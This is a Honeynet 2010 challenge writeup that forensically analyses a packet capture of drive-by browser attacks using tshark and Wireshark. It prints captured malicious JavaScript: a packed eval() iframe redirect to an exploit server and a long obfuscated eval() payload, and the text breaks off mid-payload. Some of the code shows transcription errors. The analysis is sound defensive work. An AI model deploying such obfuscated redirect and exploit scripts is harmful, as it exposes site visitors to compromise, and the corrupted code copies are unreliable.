

Challenge 2: Browsers under attack (intermediate)

Submission Template

Submit your solution at <http://www.honeynet.org/challenge2010/> by 17:00 EST, Monday, March 1st 2010. Results will be released on Monday, March 15th 2010.

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Country (optional): France	Profession (optional): _ Student _ Security Professional _ Other

Question 1. List the protocols found in the capture. What protocol do you think the attack is/are based on?	Possible Points: 2pts
Tools Used: tshark Awarded Points:	
Answer 1. Using Tshark Protocol Hierarchy Statistics, it is possible to list all known protocols used in a pcap file.	
<pre> tshark -r suspicious-time.pcap -qz io,phs ===== Protocol Hierarchy Statistics Filter: frame frame frames:745 bytes:293958 eth frames:745 bytes:293958 ip frames:725 bytes:292830 udp frames:156 bytes:28787 bootp frames:16 bytes:7560 nbns frames:80 bytes:8800 nbdgm frames:45 bytes:10632 smb frames:45 bytes:10632 mailslot frames:45 bytes:10632 browser frames:45 bytes:10632 dns frames:15 bytes:1795 igmp frames:8 bytes:480 icmp frames:8 bytes:656 tcp frames:553 bytes:262907 http frames:105 bytes:45631 data-text-lines frames:12 bytes:7510 image-jfif frames:1 bytes:464 tcp.segments frames:21 bytes:12770 http frames:21 bytes:12770 data-text-lines frames:13 bytes:6633 media frames:5 bytes:5870 image-gif frames:3 bytes:267 arp frames:20 bytes:1128 ===== </pre>	

The trace file contains 745 Ethernet frames.
 20 frames are ARP frames and the 725 others are ip datagrams.
 Within these 725 IP datagrams:

- 156 are UDP datagrams
- 553 are TCP segments
- 8 are IGMP packets
- 8 are ICMP packets.

Upper layers protocols found were:

- BOOTP (DHCP) indicating that some hosts are configured with dynamic addressing
- NetBios Name Server (NBNS) , NetBios Datagram, Server Message Block, Mailslot and BROWSER indicating maybe the presence of Microsoft Windows based hosts, or at least Windows Networking hosts.
- DNS
- HTTP

A quick look at the trace file shows that all the traffic is mostly “normal traffic”:
 DHCP is used to retrieve an IP configuration, NBNS and the others Windows Networking protocols are used to register the new hosts in a workgroup, IGMP is used for trying to join the UPNP multicast group (enforcing my suspicions on the presence of windows hosts) and DNS is used to resolve well-known domain names.

Based on this facts, HTTP remains the only candidate that could be the attack(s) vector.

Question 2. List IPs, hosts names / domain names. What can you tell about it - extrapolate?	Possible Points: 4pts
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Tools Used: tshark, sort, uniq, virtualbox documentation, whois

Answer 2.

Listing Ethernet hosts (src only) with tshark:

```
tshark -r suspicious-time.pcap -Tfields -e "eth.src" |sort |uniq
08:00:27:91:fd:44
08:00:27:a1:5f:bf
08:00:27:ba:0b:03
08:00:27:cd:3d:55
52:54:00:12:35:00
```

4 hosts have nearly the same MAC Address, most specifically they have the same Organizationally Unique Identifier.

Searching IEEE OUI list shows :

```
08-00-27 (hex) CADMUS COMPUTER SYSTEMS
080027 (base 16) CADMUS COMPUTER SYSTEMS
600 SUFFOLK ST
LOWELL MA 08154
UNITED STATES
```

In fact, this kind of mac address is also used by Sun VirtualBox as default mac address for the VM networking. These four hosts are surely virtual machines running in virtualbox.

The last mac address in the above listing is also an another point that confirms a virtualbox(VB) setup: 52:54:00:12:35:00 is used by VB for the host in a NAT setup.

Looking at ethernet destination hosts with tshark shows another VB-used mac address 52:54:00:12:35:02 . This one is used as a gateway for the VM in a VB NAT configuration.

In this list below, I've highlighted in yellow all mac address known to be used by virtualbox. The remaining two are the broadcast address and 01:00:5e:00:00:16 the multicast address for IGMP.

```
tshark -r suspicious-time.pcap -Tfields -e "eth.dst" |sort |uniq
01:00:5e:00:00:16
08:00:27:91:fd:44
08:00:27:a1:5f:bf
08:00:27:ba:0b:03
08:00:27:cd:3d:55
52:54:00:12:35:02
ff:ff:ff:ff:ff:ff
```

Listing the IP addresses enforced the suspicions of a VB setup.

```
tshark -r suspicious-time.pcap -qz ip_hosts,tree
```

IP Addresses	value	rate	percent
IP Addresses	733	0,003179	
0.0.0.0	8	0,000035	1,09%
255.255.255.255	8	0,000035	1,09%
10.0.2.2	6	0,000026	0,82%
10.0.2.15	96	0,000416	13,10%
10.0.2.255	25	0,000108	3,41%
224.0.0.22	8	0,000035	1,09%
192.168.56.50	113	0,000490	15,42%
192.168.56.52	175	0,000759	23,87%
10.0.3.2	6	0,000026	0,82%
10.0.3.15	269	0,001167	36,70%
10.0.3.255	37	0,000160	5,05%
192.168.1.1	15	0,000065	2,05%
64.236.114.1	130	0,000564	17,74%
74.125.77.101	9	0,000039	1,23%
209.85.227.106	8	0,000035	1,09%
209.85.227.99	18	0,000078	2,46%
209.85.227.100	8	0,000035	1,09%
10.0.4.2	6	0,000026	0,82%
10.0.4.15	317	0,001375	43,25%
10.0.4.255	38	0,000165	5,18%
192.168.56.51	74	0,000321	10,10%
74.125.77.102	18	0,000078	2,46%
10.0.5.2	6	0,000026	0,82%
10.0.5.15	43	0,000186	5,87%
10.0.5.255	25	0,000108	3,41%

In VirtualBox NAT mode, the guest network interface is assigned to the IPv4 range $10.0.x.0/24$ by default where x corresponds to the instance of the NAT interface +2 of that VM. (Source VirtualBox documentation)

So, for a VM:

The first network interface is assigned 10.0.2.15, with a default gateway of 10.0.2.2

The second network interface : 10.0.3.15, with a default gateway of 10.0.3.2

The third : 10.0.4.15, with a default gateway of 10.0.4.2

and the fourth and last network interface : 10.0.5.15 with a default gateway of 10.0.5.2.

So, this could indicate a unique VM with 4 virtual NIC and configured in NAT mode.

I've highlighted in green a group of 3 IP addresses in the subnet 192.168.56.0/24. Again this subnet is used by default in virtualbox for a special virtual network in host-only mode : vboxnet0.

This could indicate that these 3 hosts are virtual machines too.

NBNS and Windows BROWSER protocol are used in this capture. It is possible to retrieve hostnames for the hosts using these protocols by listening to browser announcement, specifically Host announcements.:

```
tshark -r suspicious-time.pcap -R "browser.command==1" -Tfields -e "ip.src" -e "browser.server" |uniq
10.0.2.15      8FD12EDD2DC1462
10.0.3.15      8FD12EDD2DC1462
10.0.4.15      8FD12EDD2DC1462
10.0.5.15      8FD12EDD2DC1462
```

“browser.command == 1” filters only Windows Browser protocol Host announcements.
And the field browser.server indicates the hostname announced by the server.

The 4 hosts claim the same netbios name enforcing the idea that this is a unique virtual machine or multiples copies of a VM.

Now, It could be interesting to know what browser(s) is used by the VM:

```
tshark -r suspicious-time.pcap -R "http.request" -Tfields -e "ip.src" -e "http.user_agent" |uniq
10.0.2.15      Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3
10.0.3.15      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
10.0.4.15      Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
10.0.5.15      Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8
```

the listing above shows three different user-agent values, implying three different browser:

- 10.0.2.15 claims to be a Windows XP hosts using Firefox 3.5.3
- 10.0.3.15 claims to be a Windows XP SP2 host using IE 6
- 10.0.4.15 too
- 10.0.5.15 claims to be a Linux host using Firefox 0.8

If we consider that these hosts could be a unique VM, this VM may be a Honeyclient using fake user-agent string to test malicious web sites.

To list domain names involved in the communication, at least two sources could be used.

The first one is DNS query:

```
tshark -r suspicious-time.pcap -R "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
10.0.3.15      0      www.honeynet.org
10.0.3.15      0      www.honeynet.org
192.168.1.1    1      www.honeynet.org
10.0.3.15      0      www.google-analytics.com
192.168.1.1    1      www.google-analytics.com
10.0.3.15      0      www.google.com
192.168.1.1    1      www.google.com
10.0.3.15      0      www.google.fr
192.168.1.1    1      www.google.fr
10.0.3.15      0      clients1.google.fr
192.168.1.1    1      clients1.google.fr
10.0.4.15      0      www.honeynet.org
192.168.1.1    1      www.honeynet.org
10.0.4.15      0      www.google-analytics.com
192.168.1.1    1      www.google-analytics.com
```

In the listing above, the first column is the requesting host or DNS server ip address, the second column indicates if this is a query (0) or a response (1) and the third column shows the query.

Well, this doesn't indicate too much things...

A second source of information relying on domain name is the HTTP requests header field: Host.

Listing the http request (filtered with uniq) with tshark, the first column is the source IP address, the second is the destination IP address and the last is the Http request-header field: Host indicating which host is requested.

```
tshark -r suspicious-time.pcap -R "http.request" -Tfields -e ip.src -e ip.dst -e http.host|sort|uniq
10.0.2.15      192.168.56.50  rapidshare.com.eyu32.ru
10.0.2.15      192.168.56.52  sploitme.com.cn
10.0.3.15      192.168.56.50  rapidshare.com.eyu32.ru
10.0.3.15      192.168.56.52  sploitme.com.cn
10.0.3.15      209.85.227.100 clients1.google.fr
10.0.3.15      209.85.227.106 www.google.com
10.0.3.15      209.85.227.99  www.google.fr
10.0.3.15      64.236.114.1   www.honeynet.org
10.0.3.15      74.125.77.101  www.google-analytics.com
10.0.4.15      192.168.56.51  shop.honeynet.sg
10.0.4.15      192.168.56.52  sploitme.com.cn
10.0.4.15      64.236.114.1   www.honeynet.org
10.0.4.15      74.125.77.102  www.google-analytics.com
10.0.5.15      192.168.56.52  sploitme.com.cn
```

Interestingly, 3 new domain names that were not listed in DNS queries appears in the listing above:

- rapidshare.com.eyu32.ru
- sploitme.com.cn
- shop.honeynet.sg

This information may indicate that the requesting hosts already known the ip address bound to these 3 hostnames (DNS cache) or that their etc/hosts contains entry for these hosts.

The listing shows also that:

- 192.168.56.50 is rapidshare.com.eyu32.ru
- 192.168.56.51 is shop.honeynet.sg
- 192.168.56.52 is sploitme.com.cn

An whois lookup for these 3 domain names reveal that they could be fake domain names:

```
whois shop.honeynet.sg
Domain Not Found
franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 2$ whois rapidshare.com.eyu32.ru
% By submitting a query to RIPN's Whois Service
% you agree to abide by the following terms of use:
% http://www.ripn.net/about/servpol.html#3.2 (in Russian)
% http://www.ripn.net/about/en/servpol.html#3.2 (in English).
No entries found for the selected source(s).
Last updated on 2010.02.24 02:08:23 MSK/MSD
franck@ODIN:~/Analysis/Sources/Honeynet/Challenge 2$ whois sploitme.com.cn
no matching record
```

Question 3. List all the web pages. List those visited containing suspect and possibly malicious javascript and who's is connecting to it? Briefly describe the nature of the malicious web pages

Possible Points: 6pts

Tools Used: tshark, wireshark,

Answer 3.

Listing all the web pages requested by all the hosts:

```
frankc@ODIN:~/Analysis/Sources/Honeynet/Challenge 2$ tshark -r suspicious-time.pcap -qz http_req_tree
=====
HTTP/Requests
value      rate      percent
-----
HTTP Requests by HTTP Host
63         0,000306
rapidshare.com.eyu32.ru
19         0,000092      30,16%
  /login.php
3          0,000015      15,79%
  /images/sslstyles.css
3          0,000015      15,79%
  /images/images/dot.jpg
3          0,000015      15,79%
  /images/rslogo.jpg
3          0,000015      15,79%
  /images/images/terminator_back.png
3          0,000015      15,79%
  /images/images/terminatr_back.png
3          0,000015      15,79%
  /favicon.ico
1          0,000005      5,26%
sploitme.com.cn
15         0,000073      23,81%
  /?click=3feb5a6b2f
3          0,000015      20,00%
  /fg/show.php?s=3feb5a6b2f
3          0,000015      20,00%
  /fg/load.php?e=1
4          0,000019      26,67%
  /?click=84c090bd86
1          0,000005      6,67%
  /fg/show.php?s=84c090bd86
1          0,000005      6,67%
  /fg/directshow.php
1          0,000005      6,67%
  /fg/load.php?e=3
1          0,000005      6,67%
  /fg/show.php
1          0,000005      6,67%
www.honeynet.org
3          0,000015      4,76%
  /
3          0,000015      100,00%
www.google-analytics.com
3          0,000015      4,76%
  /__utm.gif?utmwv=4.6.5&utmh=1731245256&utmhn=www.honeynet.org&utmcs=utf-8&utmsr=1088x729&utmssc=32-bit&utmul=en-us&utmje=1&utmfl=6.0%20r79&utmdt=Honeynet%20Project%20Blog%20The%20Honeynet%20Project&utmhid=2130591288&utmr=-&utmp=%2F&utmcc=__utma%3D121888786.1305690527.1264085162.1265310286.5%3B%2B__utmz%3D121888786.1264085162.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B 1 0,000005 33,33%
  /__utm.gif?utmwv=4.6.5&utmh=1265451123&utmhn=www.honeynet.org&utmcs=utf-8&utmsr=1088x729&utmssc=32-bit&utmul=en-us&utmje=1&utmfl=6.0%20r79&utmdt=Honeynet%20Project%20Blog%20The%20Honeynet%20Project&utmhid=1706076767&utmr=-&utmp=%2F&utmcc=__utma%3D121888786.1305690527.1264085162.1265310286.1265310375.6%3B%2B__utmz%3D121888786.1264085162.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B 1 0,000005 33,33%
  /__utm.gif?utmwv=4.6.5&utmh=1298421081&utmhn=www.honeynet.org&utmcs=utf-8&utmsr=1088x729&utmssc=32-bit&utmul=en-us&utmje=1&utmfl=6.0%20r79&utmdt=Honeynet%20Project%20Blog%20The%20Honeynet%20Project&utmhid=2068504592&utmr=-&utmp=%2F&utmcc=__utma
```

```
%3D121888786.1305690527.1264085162.1265310375.1265310467.7%3B%2B__utmz%3D121888786.1264085162.1.1.utmcsr
%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B      1      0,000005      33,33%
www.google.com
1      0,000005      1,59%
/
1      0,000005      100,00%
www.google.fr
2      0,000010      3,17%
/
1      0,000005      50,00%
/csi?v=3&s=webhp&action=&e=17259,22766,23388,23456,23599&ei=mHdoS-C7Ms2a-Abs68j-
CA&expi=17259,22766,23388,23456,23599&rt=prt.195,ol.255,xjses.345,xjsee.375,xjsls.375,xjs.481
1      0,000005      50,00%
clients1.google.fr
1      0,000005      1,59%
/generate_204
1      0,000005      100,00%
shop.honeynet.sg
19     0,000092      30,16%
/catalog/
1      0,000005      5,26%
/catalog/stylesheet.css
1      0,000005      5,26%
/catalog/images/store_logo.png
1      0,000005      5,26%
/catalog/images/header_account.gif
1      0,000005      5,26%
/catalog/images/header_cart.gif
1      0,000005      5,26%
/catalog/images/header_checkout.gif
1      0,000005      5,26%
/catalog/images/infobox/corner_left.gif
1      0,000005      5,26%
/catalog/images/pixel_trans.gif
1      0,000005      5,26%
/catalog/images/infobox/corner_right_left.gif
1      0,000005      5,26%
/catalog/images/infobox/arrow_right.gif
1      0,000005      5,26%
/catalog/images/libemu.png
1      0,000005      5,26%
/catalog/includes/languages/english/images/buttons/button_quick_find.gif
1      0,000005      5,26%
/catalog/images/table_background_default.gif
1      0,000005      5,26%
/catalog/images/phoneyc.png
1      0,000005      5,26%
/catalog/images/infobox/corner_right.gif
1      0,000005      5,26%
/catalog/includes/languages/english/images/icon.gif
1      0,000005      5,26%
/catalog/includes/languages/german/images/icon.gif
1      0,000005      5,26%
/catalog/includes/languages/espanol/images/icon.gif
1      0,000005      5,26%
/catalog/images/banners/oscommerce.gif
1      0,000005      5,26%
=====
```

At least one HTTP host is suspicious (highlighted in red) its name “sploit.com.cn” lead to think that It is surely involved in “exploits”.

The vast majority of Web attacks rely on the use of scripting on the client side (javascript, Vbscript). The usage of scripts in an html page is indicated by a special html tag : <script type=“xxxxx” > where xxxxx indicates the scripting language that we be used. (eg: <script type=“text/javascript”> meaning the following script is written in javascript. So to detect suspicious pages we can filter http reponse containing scripts.

Listing suspicious web pages with a special tshark filter:

This filter displays all reassembled/uncompressed http payloads containing the “<script” html tag. In fact all web pages using scripts will match this filter and not only suspicious ones. But it helps at focusing on specific web pages:

```
tshark -r suspicious-time.pcap -R "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
28      192.168.56.50  10.0.2.15
63      192.168.56.52  10.0.2.15
131     192.168.56.50  10.0.3.15
174     192.168.56.52  10.0.3.15
253     64.236.114.1   10.0.3.15
314     209.85.227.99  10.0.3.15
341     192.168.56.50  10.0.3.15
415     192.168.56.51  10.0.4.15
496     192.168.56.52  10.0.4.15
577     64.236.114.1   10.0.4.15
677     64.236.114.1   10.0.4.15
722     192.168.56.52  10.0.5.15
```

Then with wireshark it is possible to filter these suspicious pages and export them to disk for further analysis. (With the export HTTP objects function)

Packet num	Hostname	Content Type	Bytes	Filename
28	rapidshare.com.eyu32.ru	text/html	3005	login.php
37	rapidshare.com.eyu32.ru	text/html	347	dot.jpg
59	rapidshare.com.eyu32.ru	text/html	359	terminator_back.png
60	rapidshare.com.eyu32.ru	text/html	358	terminatr_back.png
63	sploitme.com.cn	text/html	3513	show.php?s=3feb5a6b2f
69	rapidshare.com.eyu32.ru	text/html	337	favicon.ico
131	rapidshare.com.eyu32.ru	text/html	3005	login.php
140	rapidshare.com.eyu32.ru	text/css	4079	sslstyles.css
156	rapidshare.com.eyu32.ru	text/html	347	dot.jpg
163	rapidshare.com.eyu32.ru	text/html	358	terminatr_back.png
164	rapidshare.com.eyu32.ru	text/html	359	terminator_back.png
174	sploitme.com.cn	text/html	10845	show.php?s=3feb5a6b2f
189	sploitme.com.cn	application/octet-stream	12288	load.php?e=1
205	sploitme.com.cn	application/octet-stream	12288	load.php?e=1
253	www.honeynet.org	text/html	27700	/
267	www.google-analytics.com	image/gif	35	_utm.gif?utmwv=4.6.5&utmh=www.honeynet.org&utmcs
299	www.google.com	text/html	218	/
314	www.google.fr	text/html	10680	/
341	rapidshare.com.eyu32.ru	text/html	3005	login.php
353	rapidshare.com.eyu32.ru	text/html	347	dot.jpg
362	rapidshare.com.eyu32.ru	text/html	358	terminatr_back.png
365	rapidshare.com.eyu32.ru	text/html	359	terminator_back.png
366	sploitme.com.cn	text/html	227	show.php?s=3feb5a6b2f
415	shop.honeynet.sg	text/html	19068	catalog
496	sploitme.com.cn	text/html	40653	show.php?s=84c090bd86
513	sploitme.com.cn	application/octet-stream	12288	load.php?e=1
528	sploitme.com.cn	application/octet-stream	12288	load.php?e=1
537	sploitme.com.cn	image/jpeg	63	directshow.php
577	www.honeynet.org	text/html	27700	/
595	www.google-analytics.com	image/gif	35	_utm.gif?utmwv=4.6.5&utmh=www.honeynet.org&utmcs
635	sploitme.com.cn	application/octet-stream	12288	load.php?e=3
677	www.honeynet.org	text/html	27700	/
689	www.google-analytics.com	image/gif	35	_utm.gif?utmwv=4.6.5&utmh=www.honeynet.org&utmcs
722	sploitme.com.cn	text/html	3500	show.php

Highlighted in red are really suspicious web pages, these are suspicious because they use scripting and are hosted on suspicious hosts, with fake domain names. In orange, we have also suspicious downloads (application/octet-stream) or pages without script but from sploit.com.cn.

The table below summarizes the suspicious pages with javascript

Visitor	HTTP Host	Web page
IP: 10.0.2.15 OS: Windows XP Browser: Firefox 3.5.3	rapishare.com.eyu32.ru	/login.php
IP: 10.0.2.15 OS: Windows XP Browser: Firefox 3.5.3	sploitme.com.cn	/fg/show.php?s=3feb5a6b2f
IP: 10.0.3.15 OS: Windows XP Browser: Internet Explorer 6	rapishare.com.eyu32.ru	/login.php
IP: 10.0.3.15 OS: Windows XP Browser: Internet Explorer 6	sploitme.com.cn	/fg/show.php?s=3feb5a6b2f
IP: 10.0.3.15 OS: Windows XP Browser: Internet Explorer 6	rapishare.com.eyu32.ru	/login.php
IP: 10.0.4.15 OS: Windows XP Browser: Internet Explorer 6	shop.honeynet.sg	/catalog/
IP: 10.0.4.15 OS: Windows XP Browser: Internet Explorer 6	sploitme.com.cn	/fg/show.php?s=84c090bd86
IP: 10.0.5.15 OS: Linux Browser: Firefox 0.8	sploitme.com.cn	/sg/show.php

The first one in the pcap file is the page `login.php` from `rapidshare.com.eyu32.ru`. This page is first visited by `10.0.2.15`, and later by `10.0.3.15` and `10.0.4.15`.

Examining it reveal that it contains malicious javascript in the form of an obfuscated redirect via `iframe`: (this script is deobfuscated later in this document)

```
<script type="text/javascript">  
  
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+(c=c%a)>35?  
String.fromCharCode(c+29):c.toString(36)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||  
e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new  
RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('q.r(s("%h%0%d%e%7%1%8%9%d%3%4%a%5%2%i%j%b%9%i%c%k  
%0%2%7%1%1%3%k%7%1%3%a%b%t%3%c%0%3%u%4%v%6%1%f%w%e%*%f%y%6%a%z%0%g%2%5%4%#%8%5%1%0%A%5%2%4%#%8%9%2%o%c  
%1%4%a%B%0%9%0%f%0%c%0%2%o%j%8%5%0%g%1%a%a%p%h%b%0%6%d%e%7%1%p%C");','39,39,'69|65|74|63|3D|68|66|6D|  
20|73|22|2F|6C|72|61|62|64|3C|70|3A|6F|2E|6E|31|79|3E|document|write|unescape|3F|6B|33|35|36|32|77|67|  
76|0A'.split('|'),0,{}));  
  
</script>
```

The purpose of this redirection is to instruct transparently the victim to go to an exploit server, namely `spl0it.com.cn`. This script was exactly the same when `10.0.3.15` and `10.0.4.15` have visited this page. This could mean that the redirection is not bound to the type of browser used by the client, but only a static redirection to `spl0itme.com.cn`.

The next suspicious page is `/fg/show.php?s=3feb5a6b2f` from `spl0itme.com.cn` because, again, obfuscated/encoded javascript is used:

Script generated while `10.0.2.15` was visiting it :

```
<script language='JavaScript'>  
<!--  
var  
CRYPT={signature:'CGerjg56R',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'=  
,decode:function(input){var output='';var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var  
i=0;input=input.replace(/[^A-Za-z0-9\+\-\=\/\g,' '];while(i<input.length)  
{enc1=this._keyStr.indexOf(input.charAt(i++));enc2=this._keyStr.indexOf(input.charAt(i+  
));enc3=this._keyStr.indexOf(input.charAt(i++));enc4=this._keyStr.indexOf(input.charAt(i+  
));chr1=(enc1<<2)|(enc2>>4);chr2=(enc2<&15)<<4|(enc3>>2);chr3=((enc3&3)<<6)|  
enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);}  
if(enc4!=64){output=output+String.fromCharCode(chr3);}  
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utf8text){var string='';var  
i=0;var c=0,c1=0,c2=0,c3=0;while(i<utf8text.length){c=utf8text.charCodeAt(i);if(c<128)  
{string+=String.fromCharCode(c);i++;}else if((c>191)&&(c<224))  
{c2=utf8text.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|  
(c2&63));i+=2;}else{c2=utf8text.charCodeAt(i+1);c3=utf8text.charCodeAt(i+2);string+=String.fromCharCode(((  
c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}  
return string;},obfuscate:function(str){var container='';for(var i=0,z=0;i<str.length;i=i+3,z++)  
{container+=String.fromCharCode(str.substr(i,i+3)-this.signature.substr(z,this.signature.length,z  
+this.signature.length+1).charCodeAt(0));}  
return CRYPT.decode(container);}  
eval(CRYPT.obfuscate('15718118723119515413516618011171232041951561601691531531871792011851912141281421981  
89161189196191200140103190165122187162181170153169180117149205214177211171152187120182200223192212126122  
13017014421018421120110414013014618017522919519010616815618819022219117416817212916618312816822319615215  
11631601151681881712231761221321931571581792281891891181651571551871512031941761561531911531911812011591  
5215112501122171173188159204104128190166155150231196191152157163154149149211194193161141151124176198223  
19220915312118517215518919215820114017320314317920519219017215713916813713620618919021911014313213711919  
01642092141431371901221711731881592041041281901661551502311961911521571631541491492111941931611411511241  
7619822319220915312118517215518919215822212202162111204165121191162182211157132166136175186200176168158129166  
183128190164176151142104185178161184222162031251281351681221752220518710217117215517020420117515213013  
71541491192001841802111521421681751701521952171781371701391561211711621951531561651721501791562161941521  
10121191175180176186180211152138130124169211200221201120162203157159183163205212105159159134144156213215  
18917313019112419019120115821412616118213715716818722117615811119115719215823620317411010515817713721221  
31741601631441701491731902012182071541221301871452111871631761581701601561591832251822131271581801761532  
19212189206165130153157175199186184211128138198188161189183223202103140199157138205231206190173169157151  
18721320421120717414417013618820022319222515212513918417015120019119314115813014715514921918318612616618  
31181452092141781891741521871331192002241922111321051311751691731922142041041281901671431872352042081191
```

```
63171154191223204190219110156163179139199164155222151125168115161184217218182172115143');
//-->
</script>
```

Script generated while 10.0.3.15 was visiting the same page (/fg/show.php?s= 3feb5a6b2f)

```
<script language='JavaScript'>
<!--
var
CRYPT={signature:'CGerjg56R',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'=
,decode:function(input){var output='';var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var
i=0;input=input.replace(/[^\A-Za-z0-9\+\-\=\]/g,'');while(i<input.length)
{enc1=this._keyStr.indexOf(input.charAt(i++));enc2=this._keyStr.indexOf(input.charAt(i+
));enc3=this._keyStr.indexOf(input.charAt(i++));enc4=this._keyStr.indexOf(input.charAt(i+
));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|
enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utf8text){var string='';var
i=0;var c=c1=0,c2=0,c3=0;while(i<utf8text.length){c=utf8text.charCodeAt(i);if(c<128)
{string+=String.fromCharCode(c);i++;}else if((c>191)&&(c<224))
{c2=utf8text.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|
(c2&63));i+=2;}else{c2=utf8text.charCodeAt(i+1);c3=utf8text.charCodeAt(i+2);string+=String.fromCharCode(((
c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;},obfuscate:function(str){var container='';for(var i=0,z=0;i<str.length;i=i+3,z++)
{container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z%this.signature.length,z
%this.signature.length+1).charCodeAt(0));}
return CRYPT.decode(container);}
eval(CRYPT.obfuscate('1571811872311951541351661801171232041951561601691531531871792011851912141281421981
89161189196191200140103190165122187162181170153169180117149205214177211171152187120182200223192212126122
13017014421018421120110414013014618017522919519010616815618819022219117416817212916618312816822319615215
11631601151681881712231761221321931571581792281891891181651571551871512031941761561531911531911812011591
521511252011221711173188159204104128190166155150231196191152157163154149149211194193161141151124176198223
19220915312118517215518919215820114017320314317920519219017215713916813713620618919021911014313213711919
01642092141431371901221711731881592041041281901661551502311961911521571631541491492111941931611411511241
7619822319220915312118517215518919215820114017320314317920519219017215713916813713620618919021911014313213711919
8311281901641761511421041851781611842221612031251281351681221752220518710217117215517020420117515213013
71541491192001841802111521421681751701521952171781371701391561211711621951531561651721501791562161941521
10121191175180176186180211152138130124169211200221201120162203157159183163205212105159159134144156213215
18917313019112419019120115821412616118213715716818722117615811119115719215823620317411010515817713721221
31741601631441701491731902012182071541221301871452111871631761581701601561591832251822131271581801761532
19212189206165130153157175199186184211128138198188161189183223202103140199157138205231206190173169157151
18721320421120717414417013618820022319222515212513918417015120019119314115813014715514921918318612616618
31181452092141781891741521871331192002241922111321051311751691731922142041041281901671431872352042081191
631711541912232041902191101561631791211902021792061531421561821711717215200140174190147154202205206175
13517316117212721921315716916815213217511919920119122014210413918314721019222317910314419214312122123219
51901341711811381752201941561881101311651661262012231762241261251721791691722002231921401031901471542011
63205174135158182138156218204194207161128204183180201201159209153125190185169206180174202162140186167142
18719418117410916918017217915621421517317412715414012819922419221815112219811517021122161202215910320014
31781792351961901231021721521282062112151891591541491711881762021552091421421641731681682182141781411701
39134180209223181170123175157155187149213216211108153188116189177221184224143141152115161186171211200162
1401881671382052311821701521641571551202072031941851591511491711791762022216015513519417916120621721020
2158162137167143175167207154126111801881241692132151891571541531515119022321821114210516317816922062332
16177174173192141192209171195153123102171117174212204189211108156170115146198201195214126142155179172152
19622720414117020314715815723118815313910216611714521420419318110112914916618117718515821515514116017117
11721922171781241391941681221501711732121611631571341412221891942191011531921751262002201552211291611821
75171170171211200162140188167138205231182170152164157155120207203194185159151149171179176202222160155135
1941791612062172102021581621371671431751672071541261118018812417320419418513314319117917919016518721415
115919012416015118415419210315719315715420916920819110112918117615714921419417717011271541401262031952182
1215314113517317117222224201158120154165192205218181191169104171155144204213228152121153191153175201185
19218312812511821451502141901921041281941661431822319115315716218013819021118919021910314317014017419
92361551711521631681711711722001861781241231971411191711831901511351211581751491492132151891571521651661
83180165196207152159148175151189191223185140107132164159175232204212102162180177152212188155169174152132
1451792001651832131281381981171601891872092041241582031471581541632041741721091821761412221871771716515
21881161791772212141511431411301781451501961761871391191921542162241941731216415171612132121771891
70143169116179180165188224154142198119168173187163201162140133140141205192190172157102182139137184204194
17310214417014511917618121315815513519417316018919621220012015819014215921716220521316110918313817522219
41931561611542031331371901651882151531631681561551511882191931401321301421382011922031901311751801181492
19204216184170141151116148184184188188138121181179150152162181192103124130156121204225196186161109183138
17522219419315616115420313313719016518821515316316815615515118821919314013213014213820119219115215713216
61351442181991561891741541911531921881831551801361241641521561682132181821041031391341802092231811701231
06179139144213213215189101154170141188176182171215132105186178170206167224202124140199142138201186188189
```

```

13416415813915722221217818517114419117518619119722621214214120218916118422118120412415820314318117922220
421213416518017715721621217321010815419111371921741851962151511251681731691511671541931401071301471592052
25205208106175172155149220212156156175144167141189191186213158151175135152172189180214183137123137165192
15419220415313516216215114815621222715613315315315318817618121315815117513515517021022215419313615819116
41582212221951531101711821381572182141732101081522031201551902021962111391251391381681882342141781241281
94165176220235181187169176158175145150212211207158151169119186178181213158155135194176171188167212203124
16220016517616723019617412316015713417915621421517317412715317412817818222215314214215517016915118821919
31401321301261931502311961911521571631551452222031942101641281331831381831822131531341761167171161492061621
56181138123204143155170234188171118170161151174223195189151172131151144190179183196171130160190137148223
204163177174173192168119175183185187143122160151156151190190192102135166144187178198176172130121130121015
01691921721791371192011481931661621882101301751611521562231922161511631301491671261821991791561341611601
37153170195222185138131133149154149162184151138174158151178223191212176169136150149137178220175222131160
15111814818518315620513615319714112221623318317111810416417313622319122715117213115013219017719817122213
01221471831522231792251801201022011441391662331831711181731591351362201921741931101282031861812022361712
